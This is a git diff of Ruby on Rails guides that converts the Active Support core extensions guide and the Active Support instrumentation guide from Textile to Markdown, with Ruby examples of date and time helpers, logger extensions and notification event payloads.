-</ruby> +``` -This method is also aliased as +getutc+. +This method is also aliased as `getutc`. -h6. +utc?+ +##### `utc?` -The predicate +utc?+ says whether the receiver has UTC as its time zone: +The predicate `utc?` says whether the receiver has UTC as its time zone: -<ruby> +```ruby now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400 now.utc? # => false now.utc.utc? # => true -</ruby> +``` -h6(#datetime-advance). +advance+ +##### `advance` -The most generic way to jump to another datetime is +advance+. This method receives a hash with keys +:years+, +:months+, +:weeks+, +:days+, +:hours+, +:minutes+, and +:seconds+, and returns a datetime advanced as much as the present keys indicate. +The most generic way to jump to another datetime is `advance`. This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, `:hours`, `:minutes`, and `:seconds`, and returns a datetime advanced as much as the present keys indicate. -<ruby> +```ruby d = DateTime.current # => Thu, 05 Aug 2010 11:33:31 +0000 d.advance(:years => 1, :months => 1, :days => 1, :hours => 1, :minutes => 1, :seconds => 1) # => Tue, 06 Sep 2011 12:34:32 +0000 -</ruby> +``` -This method first computes the destination date passing +:years+, +:months+, +:weeks+, and +:days+ to +Date#advance+ documented above. After that, it adjusts the time calling +since+ with the number of seconds to advance. This order is relevant, a different ordering would give different datetimes in some edge-cases. The example in +Date#advance+ applies, and we can extend it to show order relevance related to the time bits. +This method first computes the destination date passing `:years`, `:months`, `:weeks`, and `:days` to `Date#advance` documented above. After that, it adjusts the time calling `since` with the number of seconds to advance. This order is relevant, a different ordering would give different datetimes in some edge-cases. The example in `Date#advance` applies, and we can extend it to show order relevance related to the time bits. If we first move the date bits (that have also a relative order of processing, as documented before), and then the time bits we get for example the following computation: -<ruby> +```ruby d = DateTime.new(2010, 2, 28, 23, 59, 59) # => Sun, 28 Feb 2010 23:59:59 +0000 d.advance(:months => 1, :seconds => 1) # => Mon, 29 Mar 2010 00:00:00 +0000 -</ruby> +``` but if we computed them the other way around, the result would be different: -<ruby> +```ruby d.advance(:seconds => 1).advance(:months => 1) # => Thu, 01 Apr 2010 00:00:00 +0000 -</ruby> +``` -WARNING: Since +DateTime+ is not DST-aware you can end up in a non-existing point in time with no warning or error telling you so. +WARNING: Since `DateTime` is not DST-aware you can end up in a non-existing point in time with no warning or error telling you so. -h5(#datetime-changing-components). Changing Components +#### Changing Components -The method +change+ allows you to get a new datetime which is the same as the receiver except for the given options, which may include +:year+, +:month+, +:day+, +:hour+, +:min+, +:sec+, +:offset+, +:start+: +The method `change` allows you to get a new datetime which is the same as the receiver except for the given options, which may include `:year`, `:month`, `:day`, `:hour`, `:min`, `:sec`, `:offset`, `:start`: -<ruby> +```ruby now = DateTime.current # => Tue, 08 Jun 2010 01:56:22 +0000 now.change(:year => 2011, :offset => Rational(-6, 24)) # => Wed, 08 Jun 2011 01:56:22 -0600 -</ruby> +``` If hours are zeroed, then minutes and seconds are too (unless they have given values): -<ruby> +```ruby now.change(:hour => 0) # => Tue, 08 Jun 2010 00:00:00 +0000 -</ruby> +``` Similarly, if minutes are zeroed, then seconds are too (unless it has given a value): -<ruby> +```ruby now.change(:min => 0) # => Tue, 08 Jun 2010 01:00:00 +0000 -</ruby> +``` -This method is not tolerant to non-existing dates, if the change is invalid +ArgumentError+ is raised: +This method is not tolerant to non-existing dates, if the change is invalid `ArgumentError` is raised: -<ruby> +```ruby DateTime.current.change(:month => 2, :day => 30) # => ArgumentError: invalid date -</ruby> +``` -h5(#datetime-durations). Durations +#### Durations Durations can be added to and subtracted from datetimes: -<ruby> +```ruby now = DateTime.current # => Mon, 09 Aug 2010 23:15:17 +0000 now + 1.year # => Tue, 09 Aug 2011 23:15:17 +0000 now - 1.week # => Mon, 02 Aug 2010 23:15:17 +0000 -</ruby> +``` -They translate to calls to +since+ or +advance+. For example here we get the correct jump in the calendar reform: +They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform: -<ruby> +```ruby DateTime.new(1582, 10, 4, 23) + 1.hour # => Fri, 15 Oct 1582 00:00:00 +0000 -</ruby> +``` -h3. Extensions to +Time+ +Extensions to `Time` +-------------------- -h4(#time-calculations). Calculations +### Calculations -NOTE: All the following methods are defined in +active_support/core_ext/time/calculations.rb+. +NOTE: All the following methods are defined in `active_support/core_ext/time/calculations.rb`. -Active Support adds to +Time+ many of the methods available for +DateTime+: +Active Support adds to `Time` many of the methods available for `DateTime`: -<ruby> +```ruby past? today? future? @@ -3555,165 +3573,167 @@ years_ago years_since prev_year (last_year) next_year -</ruby> +``` They are analogous. Please refer to their documentation above and take into account the following differences: -* +change+ accepts an additional +:usec+ option. -* +Time+ understands DST, so you get correct DST calculations as in +* `change` accepts an additional `:usec` option. +* `Time` understands DST, so you get correct DST calculations as in -<ruby> +```ruby Time.zone_default # => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...> -# In Barcelona, 2010/03/28 02:00 <plus>0100 becomes 2010/03/28 03:00 <plus>0200 due to DST. +# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST. t = Time.local_time(2010, 3, 28, 1, 59, 59) # => Sun Mar 28 01:59:59 +0100 2010 t.advance(:seconds => 1) # => Sun Mar 28 03:00:00 +0200 2010 -</ruby> +``` -* If +since+ or +ago+ jump to a time that can't be expressed with +Time+ a +DateTime+ object is returned instead. +* If `since` or `ago` jump to a time that can't be expressed with `Time` a `DateTime` object is returned instead. -h5. +Time.current+ +#### `Time.current` -Active Support defines +Time.current+ to be today in the current time zone. That's like +Time.now+, except that it honors the user time zone, if defined. It also defines +Time.yesterday+ and +Time.tomorrow+, and the instance predicates +past?+, +today?+, and +future?+, all of them relative to +Time.current+. +Active Support defines `Time.current` to be today in the current time zone. That's like `Time.now`, except that it honors the user time zone, if defined. It also defines `Time.yesterday` and `Time.tomorrow`, and the instance predicates `past?`, `today?`, and `future?`, all of them relative to `Time.current`. -When making Time comparisons using methods which honor the user time zone, make sure to use +Time.current+ and not +Time.now+. There are cases where the user time zone might be in the future compared to the system time zone, which +Time.today+ uses by default. This means +Time.now+ may equal +Time.yesterday+. +When making Time comparisons using methods which honor the user time zone, make sure to use `Time.current` and not `Time.now`. There are cases where the user time zone might be in the future compared to the system time zone, which `Time.today` uses by default. This means `Time.now` may equal `Time.yesterday`. -h5. +all_day+, +all_week+, +all_month+, +all_quarter+ and +all_year+ +#### `all_day`, `all_week`, `all_month`, `all_quarter` and `all_year` -The method +all_day+ returns a range representing the whole day of the current time. +The method `all_day` returns a range representing the whole day of the current time. -<ruby> +```ruby now = Time.current # => Mon, 09 Aug 2010 23:20:05 UTC +00:00 now.all_day -# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Mon, 09 Aug 2010 23:59:59 UTC <plus>00:00 -</ruby> +# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00 +``` -Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the purpose of generating time ranges. +Analogously, `all_week`, `all_month`, `all_quarter` and `all_year` all serve the purpose of generating time ranges. -<ruby> +```ruby now = Time.current # => Mon, 09 Aug 2010 23:20:05 UTC +00:00 now.all_week -# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Sun, 15 Aug 2010 23:59:59 UTC <plus>00:00 +# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00 now.all_month -# => Sat, 01 Aug 2010 00:00:00 UTC <plus>00:00..Tue, 31 Aug 2010 23:59:59 UTC <plus>00:00 +# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00 now.all_quarter -# => Thu, 01 Jul 2010 00:00:00 UTC <plus>00:00..Thu, 30 Sep 2010 23:59:59 UTC <plus>00:00 +# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00 now.all_year -# => Fri, 01 Jan 2010 00:00:00 UTC <plus>00:00..Fri, 31 Dec 2010 23:59:59 UTC <plus>00:00 -</ruby> +# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00 +``` -h4. Time Constructors +### Time Constructors -Active Support defines +Time.current+ to be +Time.zone.now+ if there's a user time zone defined, with fallback to +Time.now+: +Active Support defines `Time.current` to be `Time.zone.now` if there's a user time zone defined, with fallback to `Time.now`: -<ruby> +```ruby Time.zone_default # => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...> Time.current # => Fri, 06 Aug 2010 17:11:58 CEST +02:00 -</ruby> +``` -Analogously to +DateTime+, the predicates +past?+, and +future?+ are relative to +Time.current+. +Analogously to `DateTime`, the predicates `past?`, and `future?` are relative to `Time.current`. -Use the +local_time+ class method to create time objects honoring the user time zone: +Use the `local_time` class method to create time objects honoring the user time zone: -<ruby> +```ruby Time.zone_default # => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...> Time.local_time(2010, 8, 15) # => Sun Aug 15 00:00:00 +0200 2010 -</ruby> +``` -The +utc_time+ class method returns a time in UTC: +The `utc_time` class method returns a time in UTC: -<ruby> +```ruby Time.zone_default # => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...> Time.utc_time(2010, 8, 15) # => Sun Aug 15 00:00:00 UTC 2010 -</ruby> +``` -Both +local_time+ and +utc_time+ accept up to seven positional arguments: year, month, day, hour, min, sec, usec. Year is mandatory, month and day default to 1, and the rest default to 0. +Both `local_time` and `utc_time` accept up to seven positional arguments: year, month, day, hour, min, sec, usec. Year is mandatory, month and day default to 1, and the rest default to 0. -If the time to be constructed lies beyond the range supported by +Time+ in the runtime platform, usecs are discarded and a +DateTime+ object is returned instead. +If the time to be constructed lies beyond the range supported by `Time` in the runtime platform, usecs are discarded and a `DateTime` object is returned instead. -h5(#time-durations). Durations +#### Durations Durations can be added to and subtracted from time objects: -<ruby> +```ruby now = Time.current # => Mon, 09 Aug 2010 23:20:05 UTC +00:00 now + 1.year # => Tue, 09 Aug 2011 23:21:11 UTC +00:00 now - 1.week # => Mon, 02 Aug 2010 23:21:11 UTC +00:00 -</ruby> +``` -They translate to calls to +since+ or +advance+. For example here we get the correct jump in the calendar reform: +They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform: -<ruby> +```ruby Time.utc_time(1582, 10, 3) + 5.days # => Mon Oct 18 00:00:00 UTC 1582 -</ruby> +``` -h3. Extensions to +File+ +Extensions to `File` +-------------------- -h4. +atomic_write+ +### `atomic_write` -With the class method +File.atomic_write+ you can write to a file in a way that will prevent any reader from seeing half-written content. +With the class method `File.atomic_write` you can write to a file in a way that will prevent any reader from seeing half-written content. -The name of the file is passed as an argument, and the method yields a file handle opened for writing. Once the block is done +atomic_write+ closes the file handle and completes its job. +The name of the file is passed as an argument, and the method yields a file handle opened for writing. Once the block is done `atomic_write` closes the file handle and completes its job. -For example, Action Pack uses this method to write asset cache files like +all.css+: +For example, Action Pack uses this method to write asset cache files like `all.css`: -<ruby> +```ruby File.atomic_write(joined_asset_path) do |cache| cache.write(join_asset_file_contents(asset_paths)) end -</ruby> +``` -To accomplish this +atomic_write+ creates a temporary file. That's the file the code in the block actually writes to. On completion, the temporary file is renamed, which is an atomic operation on POSIX systems. If the target file exists +atomic_write+ overwrites it and keeps owners and permissions. +To accomplish this `atomic_write` creates a temporary file. That's the file the code in the block actually writes to. On completion, the temporary file is renamed, which is an atomic operation on POSIX systems. If the target file exists `atomic_write` overwrites it and keeps owners and permissions. -WARNING. Note you can't append with +atomic_write+. +WARNING. Note you can't append with `atomic_write`. The auxiliary file is written in a standard directory for temporary files, but you can pass a directory of your choice as second argument. -NOTE: Defined in +active_support/core_ext/file/atomic.rb+. +NOTE: Defined in `active_support/core_ext/file/atomic.rb`. -h3. Extensions to +Logger+ +Extensions to `Logger` +---------------------- -h4. +around_[level]+ +### `around_[level]` -Takes two arguments, a +before_message+ and +after_message+ and calls the current level method on the +Logger+ instance, passing in the +before_message+, then the specified message, then the +after_message+: +Takes two arguments, a `before_message` and `after_message` and calls the current level method on the `Logger` instance, passing in the `before_message`, then the specified message, then the `after_message`: -<ruby> +```ruby logger = Logger.new("log/development.log") logger.around_info("before", "after") { |logger| logger.info("during") } -</ruby> +``` -h4. +silence+ +### `silence` Silences every log level lesser to the specified one for the duration of the given block. Log level orders are: debug, info, error and fatal. -<ruby> +```ruby logger = Logger.new("log/development.log") logger.silence(Logger::INFO) do logger.debug("In space, no one can hear you scream.") logger.info("Scream all you want, small mailman!") end -</ruby> +``` -h4. +datetime_format=+ +### `datetime_format=` -Modifies the datetime format output by the formatter class associated with this logger. If the formatter class does not have a +datetime_format+ method then this is ignored. +Modifies the datetime format output by the formatter class associated with this logger. If the formatter class does not have a `datetime_format` method then this is ignored. -<ruby> +```ruby class Logger::FormatWithTime < Logger::Formatter cattr_accessor(:datetime_format) { "%Y%m%d%H%m%S" } @@ -3725,21 +3745,22 @@ end logger = Logger.new("log/development.log") logger.formatter = Logger::FormatWithTime logger.info("<- is the current time") -</ruby> +``` -NOTE: Defined in +active_support/core_ext/logger.rb+. +NOTE: Defined in `active_support/core_ext/logger.rb`. -h3. Extensions to +NameError+ +Extensions to `NameError` +------------------------- -Active Support adds +missing_name?+ to +NameError+, which tests whether the exception was raised because of the name passed as argument. +Active Support adds `missing_name?` to `NameError`, which tests whether the exception was raised because of the name passed as argument. The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully-qualified constant name. -TIP: A symbol can represent a fully-qualified constant name as in +:"ActiveRecord::Base"+, so the behavior for symbols is defined for convenience, not because it has to be that way technically. +TIP: A symbol can represent a fully-qualified constant name as in `:"ActiveRecord::Base"`, so the behavior for symbols is defined for convenience, not because it has to be that way technically. -For example, when an action of +PostsController+ is called Rails tries optimistically to use +PostsHelper+. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that +posts_helper.rb+ raises a +NameError+ due to an actual unknown constant. That should be reraised. The method +missing_name?+ provides a way to distinguish both cases: +For example, when an action of `PostsController` is called Rails tries optimistically to use `PostsHelper`. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that `posts_helper.rb` raises a `NameError` due to an actual unknown constant. That should be reraised. The method `missing_name?` provides a way to distinguish both cases: -<ruby> +```ruby def default_helper_module! module_name = name.sub(/Controller$/, '') module_path = module_name.underscore @@ -3749,19 +3770,20 @@ rescue MissingSourceFile => e rescue NameError => e raise e unless e.missing_name? "#{module_name}Helper" end -</ruby> +``` -NOTE: Defined in +active_support/core_ext/name_error.rb+. +NOTE: Defined in `active_support/core_ext/name_error.rb`. -h3. Extensions to +LoadError+ +Extensions to `LoadError` +------------------------- -Active Support adds +is_missing?+ to +LoadError+, and also assigns that class to the constant +MissingSourceFile+ for backwards compatibility. +Active Support adds `is_missing?` to `LoadError`, and also assigns that class to the constant `MissingSourceFile` for backwards compatibility. -Given a path name +is_missing?+ tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension). +Given a path name `is_missing?` tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension). -For example, when an action of +PostsController+ is called Rails tries to load +posts_helper.rb+, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method +is_missing?+ provides a way to distinguish both cases: +For example, when an action of `PostsController` is called Rails tries to load `posts_helper.rb`, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method `is_missing?` provides a way to distinguish both cases: -<ruby> +```ruby def default_helper_module! module_name = name.sub(/Controller$/, '') module_path = module_name.underscore @@ -3771,6 +3793,6 @@ rescue MissingSourceFile => e rescue NameError => e raise e unless e.missing_name? "#{module_name}Helper" end -</ruby> +``` -NOTE: Defined in +active_support/core_ext/load_error.rb+. +NOTE: Defined in `active_support/core_ext/load_error.rb`. diff --git a/guides/source/active_support_instrumentation.md b/guides/source/active_support_instrumentation.md new file mode 100644 index 0000000000..6c06cfcc4b --- /dev/null +++ b/guides/source/active_support_instrumentation.md @@ -0,0 +1,485 @@ +Active Support Instrumentation +============================== + +Active Support is a part of core Rails that provides Ruby language extensions, utilities and other things. One of the things it includes is an instrumentation API that can be used inside an application to measure certain actions that occur within Ruby code, such as that inside a Rails application or the framework itself. It is not limited to Rails, however. It can be used independently in other Ruby scripts if it is so desired. + +In this guide, you will learn how to use the instrumentation API inside of ActiveSupport to measure events inside of Rails and other Ruby code. We cover: + +* What instrumentation can provide +* The hooks inside the Rails framework for instrumentation +* Adding a subscriber to a hook +* Building a custom instrumentation implementation + +-------------------------------------------------------------------------------- + +Introduction to instrumentation +------------------------------- + +The instrumentation API provided by ActiveSupport allows developers to provide hooks which other developers may hook into. There are several of these within the Rails framework, as described below in <TODO: link to section detailing each hook point>. With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code. + +For example, there is a hook provided within Active Record that is called every time Active Record uses an SQL query on a database. This hook could be **subscribed** to, and used to track the number of queries during a certain action. There's another hook around the processing of an action of a controller. This could be used, for instance, to track how long a specific action has taken. + +You are even able to create your own events inside your application which you can later subscribe to. + +Rails framework hooks +--------------------- + +Within the Ruby on Rails framework, there are a number of hooks provided for common events. These are detailed below. + +ActionController +---------------- + +### write_fragment.action_controller + +| Key | Value | +| ------ | ---------------- | +| `:key` | The complete key | + +```ruby +{ + :key => 'posts/1-dasboard-view' +} +``` + +### read_fragment.action_controller + +| Key | Value | +| ------ | ---------------- | +| `:key` | The complete key | + +```ruby +{ + :key => 'posts/1-dasboard-view' +} +``` + +### expire_fragment.action_controller + +| Key | Value | +| ------ | ---------------- | +| `:key` | The complete key | + +```ruby +{ + :key => 'posts/1-dasboard-view' +} +``` + +### exist_fragment?.action_controller + +| Key | Value | +| ------ | ---------------- | +| `:key` | The complete key | + +```ruby +{ + :key => 'posts/1-dasboard-view' +} +``` + +### write_page.action_controller + +| Key | Value | +| ------- | ----------------- | +| `:path` | The complete path | + +```ruby +{ + :path => '/users/1' +} +``` + +### expire_page.action_controller + +| Key | Value | +| ------- | ----------------- | +| `:path` | The complete path | + +```ruby +{ + :path => '/users/1' +} +``` + +### start_processing.action_controller + +| Key | Value | +| ------------- | --------------------------------------------------------- | +| `:controller` | The controller name | +| `:action` | The action | +| `:params` | Hash of request parameters without any filtered parameter | +| `:format` | html/js/json/xml etc | +| `:method` | HTTP request verb | +| `:path` | Request path | + +```ruby +{ + :controller => "PostsController", + :action => "new", + :params => { "action" => "new", "controller" => "posts" }, + :format => :html, + :method => "GET", + :path => "/posts/new" +} +``` + +### process_action.action_controller + +| Key | Value | +| --------------- | --------------------------------------------------------- | +| `:controller` | The controller name | +| `:action` | The action | +| `:params` | Hash of request parameters without any filtered parameter | +| `:format` | html/js/json/xml etc | +| `:method` | HTTP request verb | +| `:path` | Request path | +| `:view_runtime` | Amount spent in view in ms | + +```ruby +{ + :controller => "PostsController", + :action => "index", + :params => {"action" => "index", "controller" => "posts"}, + :format => :html, + :method => "GET", + :path => "/posts", + :status => 200, + :view_runtime => 46.848, + :db_runtime => 0.157 +} +``` + +### send_file.action_controller + +| Key | Value | +| ------- | ------------------------- | +| `:path` | Complete path to the file | + +INFO. Additional keys may be added by the caller. + +### send_data.action_controller + +`ActionController` does not had any specific information to the payload. All options are passed through to the payload. + +### redirect_to.action_controller + +| Key | Value | +| ----------- | ------------------ | +| `:status` | HTTP response code | +| `:location` | URL to redirect to | + +```ruby +{ + :status => 302, + :location => "http://localhost:3000/posts/new" +} +``` + +### halted_callback.action_controller + +| Key | Value | +| --------- | ----------------------------- | +| `:filter` | Filter that halted the action | + +```ruby +{ + :filter => ":halting_filter" +} +``` + +ActionView +---------- + +### render_template.action_view + +| Key | Value | +| ------------- | --------------------- | +| `:identifier` | Full path to template | +| `:layout` | Applicable layout | + +```ruby +{ + :identifier => "/Users/adam/projects/notifications/app/views/posts/index.html.erb", + :layout => "layouts/application" +} +``` + +### render_partial.action_view + +| Key | Value | +| ------------- | --------------------- | +| `:identifier` | Full path to template | + +```ruby +{ + :identifier => "/Users/adam/projects/notifications/app/views/posts/_form.html.erb", +} +``` + +ActiveRecord +------------ + +### sql.active_record + +| Key | Value | +| ------------ | --------------------- | +| `:sql` | SQL statement | +| `:name` | Name of the operation | +| `:object_id` | `self.object_id` | + +INFO. The adapters will add their own data as well. + +```ruby +{ + :sql => "SELECT \"posts\".* FROM \"posts\" ", + :name => "Post Load", + :connection_id => 70307250813140, + :binds => [] +} +``` + +### identity.active_record + +| Key | Value | +| ---------------- | ----------------------------------------- | +| `:line` | Primary Key of object in the identity map | +| `:name` | Record's class | +| `:connection_id` | `self.object_id` | + +ActionMailer +------------ + +### receive.action_mailer + +| Key | Value | +| ------------- | -------------------------------------------- | +| `:mailer` | Name of the mailer class | +| `:message_id` | ID of the message, generated by the Mail gem | +| `:subject` | Subject of the mail | +| `:to` | To address(es) of the mail | +| `:from` | From address of the mail | +| `:bcc` | BCC addresses of the mail | +| `:cc` | CC addresses of the mail | +| `:date` | Date of the mail | +| `:mail` | The encoded form of the mail | + +```ruby +{ + :mailer => "Notification", + :message_id => "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail", + :subject => "Rails Guides", + :to => ["users@rails.com", "ddh@rails.com"], + :from => ["me@rails.com"], + :date => Sat, 10 Mar 2012 14:18:09 +0100, + :mail=> "..." # ommitted for beverity +} +``` + +### deliver.action_mailer + +| Key | Value | +| ------------- | -------------------------------------------- | +| `:mailer` | Name of the mailer class | +| `:message_id` | ID of the message, generated by the Mail gem | +| `:subject` | Subject of the mail | +| `:to` | To address(es) of the mail | +| `:from` | From address of the mail | +| `:bcc` | BCC addresses of the mail | +| `:cc` | CC addresses of the mail | +| `:date` | Date of the mail | +| `:mail` | The encoded form of the mail | + +```ruby +{ + :mailer => "Notification", + :message_id => "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail", + :subject => "Rails Guides", + :to => ["users@rails.com", "ddh@rails.com"], + :from => ["me@rails.com"], + :date => Sat, 10 Mar 2012 14:18:09 +0100, + :mail=> "..." # ommitted for beverity +} +``` + +ActiveResource +-------------- + +### request.active_resource + +| Key | Value | +| -------------- | -------------------- | +| `:method` | HTTP method | +| `:request_uri` | Complete URI | +| `:result` | HTTP response object | + +ActiveSupport +------------- + +### cache_read.active_support + +| Key | Value | +| ------------------ | ------------------------------------------------- | +| `:key` | Key used in the store | +| `:hit` | If this read is a hit | +| `:super_operation` | :fetch is added when a read is used with `#fetch` | + +### cache_generate.active_support + +This event is only used when `#fetch` is called with a block. + +| Key | Value | +| ------ | --------------------- | +| `:key` | Key used in the store | + +INFO. Options passed to fetch will be merged with the payload when writing to the store + +```ruby +{ + :key => 'name-of-complicated-computation' +} +``` + + +### cache_fetch_hit.active_support + +This event is only used when `#fetch` is called with a block. + +| Key | Value | +| ------ | --------------------- | +| `:key` | Key used in the store | + +INFO. Options passed to fetch will be merged with the payload. + +```ruby +{ + :key => 'name-of-complicated-computation' +} +``` + +### cache_write.active_support + +| Key | Value | +| ------ | --------------------- | +| `:key` | Key used in the store | + +INFO. Cache stores my add their own keys + +```ruby +{ + :key => 'name-of-complicated-computation' +} +``` + +### cache_delete.active_support + +| Key | Value | +| ------ | --------------------- | +| `:key` | Key used in the store | + +```ruby +{ + :key => 'name-of-complicated-computation' +} +``` + +### cache_exist?.active_support + +| Key | Value | +| ------ | --------------------- | +| `:key` | Key used in the store | + +```ruby +{ + :key => 'name-of-complicated-computation' +} +``` + +Rails +----- + +### deprecation.rails + +| Key | Value | +| ------------ | ------------------------------- | +| `:message` | The deprecation warning | +| `:callstack` | Where the deprecation came from | + +Subscribing to an event +----------------------- + +Subscribing to an event is easy. Use `ActiveSupport::Notifications.subscribe` with a block to +listen to any notification. + +The block receives the following arguments: + +* The name of the event +* Time when it started +* Time when it finished +* An unique ID for this event +* The payload (described in previous sections) + +```ruby +ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, data| + # your own custom stuff + Rails.logger.info "#{name} Received!" +end +``` + +Defining all those block arguments each time can be tedious. You can easily create an `ActiveSupport::Notifications::Event` +from block args like this: + +```ruby +ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args| + event = ActiveSupport::Notification::Event.new args + + event.name # => "process_action.action_controller" + event.duration # => 10 (in milliseconds) + event.payload # => { :extra => :information } + + Rails.logger.info "#{event} Received!" +end +``` + +Most times you only care about the data itself. Here is a shortuct to just get the data. + +```ruby +ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args| + data = args.extract_options! + data # { :extra => :information } +``` + +You may also subscribe to events matching a regular expresssion. This enables you to subscribe to +multiple events at once. Here's you could subscribe to everything from `ActionController`. + +```ruby +ActiveSupport::Notifications.subscribe /action_controller/ do |*args| + # inspect all ActionController events +end +``` + +Creating custom events +---------------------- + +Adding your own events is easy as well. `ActiveSupport::Notifications` will take care of +all the heavy lifting for you. Simply call `instrument` with a `name`, `payload` and a block. +The notification will be sent after the block returns. `ActiveSupport` will generate the start and end times +as well as the unique ID. All data passed into the `insturment` call will make it into the payload. + +Here's an example: + +```ruby +ActiveSupport::Notifications.instrument "my.custom.event", :this => :data do + # do your custom stuff here +end +``` + +Now you can listen to this event with: + +```ruby +ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data| + puts data.inspect # { :this => :data } +end +``` + +You should follow Rails conventions when defining your own events. The format is: `event.library`. +If you application is sending Tweets, you should create an event named `tweet.twitter`. diff --git a/guides/source/active_support_instrumentation.textile b/guides/source/active_support_instrumentation.textile deleted file mode 100644 index dcdd9d14f5..0000000000 --- a/guides/source/active_support_instrumentation.textile +++ /dev/null @@ -1,448 +0,0 @@ -h2. Active Support Instrumentation - -Active Support is a part of core Rails that provides Ruby language extensions, utilities and other things. One of the things it includes is an instrumentation API that can be used inside an application to measure certain actions that occur within Ruby code, such as that inside a Rails application or the framework itself. It is not limited to Rails, however. It can be used independently in other Ruby scripts if it is so desired. - -In this guide, you will learn how to use the instrumentation API inside of ActiveSupport to measure events inside of Rails and other Ruby code. We cover: - -* What instrumentation can provide -* The hooks inside the Rails framework for instrumentation -* Adding a subscriber to a hook -* Building a custom instrumentation implementation - -endprologue. - -h3. Introduction to instrumentation - -The instrumentation API provided by ActiveSupport allows developers to provide hooks which other developers may hook into. There are several of these within the Rails framework, as described below in <TODO: link to section detailing each hook point>. With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code. - -For example, there is a hook provided within Active Record that is called every time Active Record uses an SQL query on a database. This hook could be *subscribed* to, and used to track the number of queries during a certain action. There's another hook around the processing of an action of a controller. This could be used, for instance, to track how long a specific action has taken. - -You are even able to create your own events inside your application which you can later subscribe to. - -h3. Rails framework hooks - -Within the Ruby on Rails framework, there are a number of hooks provided for common events. These are detailed below. - -h3. ActionController - -h4. write_fragment.action_controller - -|_.Key |_.Value| -|+:key+ |The complete key| - -<ruby> -{ - :key => 'posts/1-dasboard-view' -} -</ruby> - -h4. read_fragment.action_controller - -|_.Key |_.Value| -|+:key+ |The complete key| - -<ruby> -{ - :key => 'posts/1-dasboard-view' -} -</ruby> - -h4. expire_fragment.action_controller - -|_.Key |_.Value| -|+:key+ |The complete key| - -<ruby> -{ - :key => 'posts/1-dasboard-view' -} -</ruby> - -h4. exist_fragment?.action_controller - -|_.Key |_.Value| -|+:key+ |The complete key| - -<ruby> -{ - :key => 'posts/1-dasboard-view' -} -</ruby> - -h4. write_page.action_controller - -|_.Key |_.Value| -|+:path+ |The complete path| - -<ruby> -{ - :path => '/users/1' -} -</ruby> - -h4. expire_page.action_controller - -|_.Key |_.Value| -|+:path+ |The complete path| - -<ruby> -{ - :path => '/users/1' -} -</ruby> - -h4. start_processing.action_controller - -|_.Key |_.Value | -|+:controller+ |The controller name| -|+:action+ |The action| -|+:params+ |Hash of request parameters without any filtered parameter| -|+:format+ |html/js/json/xml etc| -|+:method+ |HTTP request verb| -|+:path+ |Request path| - -<ruby> -{ - :controller => "PostsController", - :action => "new", - :params => { "action" => "new", "controller" => "posts" }, - :format => :html, - :method => "GET", - :path => "/posts/new" -} -</ruby> - -h4. process_action.action_controller - -|_.Key |_.Value | -|+:controller+ |The controller name| -|+:action+ |The action| -|+:params+ |Hash of request parameters without any filtered parameter| -|+:format+ |html/js/json/xml etc| -|+:method+ |HTTP request verb| -|+:path+ |Request path| -|+:view_runtime+ |Amount spent in view in ms| - -<ruby> -{ - :controller => "PostsController", - :action => "index", - :params => {"action" => "index", "controller" => "posts"}, - :format => :html, - :method => "GET", - :path => "/posts", - :status => 200, - :view_runtime => 46.848, - :db_runtime => 0.157 -} -</ruby> - -h4. send_file.action_controller - -|_.Key |_.Value | -|+:path+ |Complete path to the file| - -INFO. Additional keys may be added by the caller. - -h4. send_data.action_controller - -+ActionController+ does not had any specific information to the payload. All options are passed through to the payload. - -h4. redirect_to.action_controller - -|_.Key |_.Value | -|+:status+ |HTTP response code| -|+:location+ |URL to redirect to| - -<ruby> -{ - :status => 302, - :location => "http://localhost:3000/posts/new" -} -</ruby> - -h4. halted_callback.action_controller - -|_.Key |_.Value | -|+:filter+ |Filter that halted the action| - -<ruby> -{ - :filter => ":halting_filter" -} -</ruby> - -h3. ActionView - -h4. render_template.action_view - -|_.Key |_.Value | -|+:identifier+ |Full path to template| -|+:layout+ |Applicable layout| - -<ruby> -{ - :identifier => "/Users/adam/projects/notifications/app/views/posts/index.html.erb", - :layout => "layouts/application" -} -</ruby> - -h4. render_partial.action_view - -|_.Key |_.Value | -|+:identifier+ 